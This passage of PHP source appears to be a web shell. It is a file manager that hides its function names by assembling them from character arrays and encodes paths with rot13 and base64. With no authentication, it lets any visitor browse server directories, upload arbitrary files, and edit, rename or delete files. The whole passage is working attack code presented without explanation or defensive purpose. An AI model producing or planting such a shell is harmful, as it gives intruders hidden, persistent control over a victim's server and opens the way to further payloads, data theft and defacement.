j(['s','c','a','n','d','i','r']),
'fgt' => j(['f','i','l','e','_','g','e','t','_','c','o','n','t','e','n','t','s']),
'fpc' => j(['f','i','l','e','_','p','u','t','_','c','o','n','t','e','n','t','s']),
'unl' => j(['u','n','l','i','n','k']),
'ren' => j(['r','e','n','a','m','e']),
'muf' => j(['m','o','v','e','_','u','p','l','o','a','d','e','d','_','f','i','l','e']),
'isd' => j(['i','s','_','d','i','r']),
'isf' => j(['i','s','_','f','i','l','e']),
'exs' => j(['f','i','l','e','_','e','x','i','s','t','s']),
'wrt' => j(['i','s','_','w','r','i','t','a','b','l','e']),
];
$real_name = $map[$k] ?? '';
if (function_exists($real_name)) {
return $real_name;
}
switch ($k) {
case 'scn':
return function($d) {
$files = [];
if (is_dir($d) && $handle = @opendir($d)) {
while (false !== ($entry = readdir($handle))) {
$files[] = $entry;
}
closedir($handle);
}
return $files;
};
case 'fgt': return function($f) { return @file_get_contents($f); };
case 'fpc': return function($f, $c) { return @file_put_contents($f, $c); };
case 'unl': return function($f) { return @unlink($f); };
case 'ren': return function($o, $n) { return @rename($o, $n); };
case 'muf': return function($s, $d) { return @move_uploaded_file($s, $d); };
case 'isd': return function($d) { return is_dir($d); };
case 'isf': return function($f) { return is_file($f); };
case 'exs': return function($f) { return file_exists($f); };
case 'wrt': return function($f) { return is_writable($f); };
default: return function() { return false; };
}
}
function rot($s) { return str_rot13($s); }
function enc($p) { return base64_encode(rot($p)); }
function dec($p) { return rot(base64_decode($p)); }
$cd = isset($_GET['d']) && $_GET['d'] ? dec($_GET['d']) : getcwd();
$cd = str_replace('\\', '/', $cd);
$cd = preg_replace('#/{2,}#', '/', $cd);
$cd = rtrim($cd, '/');
if ($cd === '') $cd = '/';
$up = dirname($cd);
if ($up === $cd || $up === false) $up = '';
echo '
';
if ($up) echo '
↑ Up | ';
$parts = explode('/', trim($cd, '/'));
$cur = '';
foreach ($parts as $v) {
if ($v === '') continue;
$cur .= ($cur ? '/' : '') . $v;
echo '
' . $v . '/';
}
echo '
';
if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] === 0) {
$dst = $cd . '/' . $_FILES['u']['name'];
$muf = get_func('muf');
if ($muf($_FILES['u']['tmp_name'], $dst)) {
header('Location: ?d=' . enc($cd));
exit;
}
echo '';
}
$scn = get_func('scn');
$items = $scn($cd);
if ($items === false) {
$items = @glob($cd . '/*');
if ($items) $items = array_map('basename', $items);
}
echo '| Name | Size | Action |
';
if (is_array($items)) {
foreach ($items as $i) {
if ($i === '.' || $i === '..') continue;
$full = $cd . '/' . $i;
$isd = get_func('isd');
if ($isd($full)) {
echo "| $i/ | -- | - |
";
continue;
}
$isf = get_func('isf');
if ($isf($full)) {
$sz = @filesize($full) / 1024;
$sz = $sz >= 1024 ? round($sz/1024, 2).' MB' : round($sz, 2).' KB';
$b = enc($full);
echo "| $i | $sz |
Delete
Edit
Rename
|
";
}
}
} else {
echo '| Unable to read directory |
';
}
echo '
';
if (isset($_POST['del']) && $_POST['del']) {
$fp = dec($_POST['del']);
$exs = get_func('exs');
$unl = get_func('unl');
if ($exs($fp) && $unl($fp)) {
header('Location: ?d=' . enc(dirname($fp)));
exit;
}
echo '';
}
if (isset($_POST['edit']) && $_POST['edit']) {
$fp = dec($_POST['edit']);
$exs = get_func('exs');
$wrt = get_func('wrt');
$fgt = get_func('fgt');
if ($exs($fp) && $wrt($fp)) {
$content = htmlspecialchars($fgt($fp) ?: '');
echo "
← Back
";
exit;
}
}
if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) {
$fp = dec($_POST['obj']);
$fpc = get_func('fpc');
if ($fpc($fp, $_POST['content']) !== false) {
header('Location: ?d=' . enc(dirname($fp)));
exit;
}
echo '';
}
if (isset($_POST['ren']) && $_POST['ren'] && isset($_POST['new']) && $_POST['new']) {
$old = dec($_POST['ren']);
$dir = dirname($old);
$new = $dir . '/' . $_POST['new'];
$exs = get_func('exs');
$ren = get_func('ren');
if ($exs($old) && !$exs($new) && $ren($old, $new)) {
header('Location: ?d=' . enc($dir));
exit;
}
echo '';
}
?>